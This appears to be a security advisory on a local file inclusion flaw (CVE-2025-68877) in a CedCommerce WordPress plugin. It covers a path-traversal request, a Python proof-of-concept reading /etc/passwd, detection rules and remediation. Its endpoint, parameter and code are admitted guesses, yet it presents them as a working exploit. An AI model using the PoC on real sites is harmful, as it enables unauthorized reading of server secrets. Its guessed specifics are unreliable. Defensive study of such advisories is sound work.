CVE-2025-68877

Executive Summary

CVE-2025-68877 is a critical vulnerability in the CedCommerce Integration for Good Market WordPress plugin (versions <= 1.0.6). The flaw is a PHP Local File Inclusion (LFI) vulnerability, stemming from improper control of filenames used in include/require statements. An unauthenticated attacker can exploit this to read arbitrary files from the server, potentially exposing sensitive configuration files, database credentials, or source code. The vulnerability is classified under CWE-98 (Improper Control of Filename for Include/Require Statement in PHP Program). No public exploit code or patch is currently available, but the risk is significant due to the low attack complexity and no authentication requirement.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin from the repository are at risk. The plugin is not available on NPM, PyPI, Go, or Ruby ecosystems.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component remains the same.
• Confidentiality (C): High (H) – Full file read access.
• Integrity (I): None (N) – No file modification.
• Availability (A): None (N) – No denial of service.

CVSS Score: 7.5 (High) – The vulnerability allows unauthenticated remote attackers to read arbitrary files, leading to information disclosure.

Deep Dive & Mechanics

The vulnerability exists in the ced-good-market-integration plugin, specifically in how it handles file inclusion for template or configuration files. The plugin likely uses a dynamic include() or require() statement where the filename is partially or fully controlled by user input (e.g., via a GET/POST parameter). An attacker can manipulate this parameter to include arbitrary files from the server, such as /etc/passwd, wp-config.php, or other sensitive files.

Root Cause: The plugin fails to sanitize or validate the filename before passing it to a PHP include/require function. This allows path traversal sequences (e.g., ../../) to escape the intended directory.

Attack Vector: An unauthenticated HTTP request to a vulnerable endpoint (e.g., /wp-content/plugins/ced-good-market-integration/includes/load.php?file=../../../etc/passwd).

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is hypothesized based on common LFI vulnerabilities:

Vulnerable Code (hypothetical):

<?php
$file = $_GET['file'];
include("templates/" . $file . ".php");
?>

Patched Code (hypothetical):

<?php
$allowed_files = array('dashboard', 'settings', 'reports');
$file = $_GET['file'];
if (in_array($file, $allowed_files)) {
    include("templates/" . $file . ".php");
} else {
    // Handle error
}
?>

The patched version uses a whitelist approach to restrict file inclusion to only predefined safe files.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress instance with the vulnerable plugin installed (version <= 1.0.6).
• Knowledge of the vulnerable endpoint (e.g., /wp-content/plugins/ced-good-market-integration/includes/load.php).

Exploitation Steps:

1. Identify the vulnerable parameter (e.g., file, template, page).
2. Craft a request to include a sensitive file:

   GET /wp-content/plugins/ced-good-market-integration/includes/load.php?file=../../../etc/passwd HTTP/1.1
   Host: target.com
   

3. If successful, the contents of /etc/passwd will be displayed.

Proof-of-Concept (PoC) Script:

import requests

target = "http://target.com"
vuln_path = "/wp-content/plugins/ced-good-market-integration/includes/load.php"
params = {"file": "../../../etc/passwd"}

response = requests.get(target + vuln_path, params=params)
if "root:" in response.text:
    print("[+] LFI successful!")
    print(response.text)
else:
    print("[-] Exploit failed.")

Blue Team (Detection & Hardening)

Detection:

• Monitor web server logs for suspicious GET parameters containing ../ or /etc/passwd.
• Look for requests to the plugin's include files with unexpected parameters.

Hardening:

• Disable the plugin until a patch is available.
• Implement a Web Application Firewall (WAF) rule to block path traversal patterns.
• Use a file integrity monitoring (FIM) tool to detect unauthorized file access.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests containing file=../ or template=../ in the query string.
  • Requests to /wp-content/plugins/ced-good-market-integration/includes/load.php (or similar).
• File System IOCs:
  • Unexpected access to /etc/passwd, /etc/shadow, or wp-config.php.
• Log IOCs:
  • Web server logs showing 200 responses to LFI attempts.

Detection Engineering

YARA Rule

rule CVE_2025_68877_LFI_Attempt {
    meta:
        description = "Detects LFI attempts targeting CedCommerce Good Market plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-68877"
    strings:
        $path_traversal = /(\.\.\/){2,}(etc\/passwd|wp-config\.php|proc\/self\/environ)/
        $plugin_path = /ced-good-market-integration/
    condition:
        $path_traversal and $plugin_path
}

Sigma Rule

title: CVE-2025-68877 LFI Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects LFI attempts against CedCommerce Good Market plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - 'ced-good-market-integration'
            - 'file=../'
            - 'template=../'
    condition: selection
falsepositives:
    - Legitimate use of path traversal in other contexts (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-68877 LFI Attempt"; flow:to_server,established; content:"ced-good-market-integration"; http_uri; content:"../"; http_uri; pcre:"/(\.\.\/){2,}(etc\/passwd|wp-config\.php)/Ui"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Implement a WAF rule to block path traversal patterns (e.g., ../).
3. Review server logs for signs of exploitation.

Long-term Fix:

• The vendor (CedCommerce) must release a patched version that validates and sanitizes file paths, preferably using a whitelist approach.
• Users should update to the latest version once available.

Workaround:

• If the plugin is critical, consider modifying the vulnerable code to use realpath() and ensure the resolved path is within the allowed directory.

Valters IT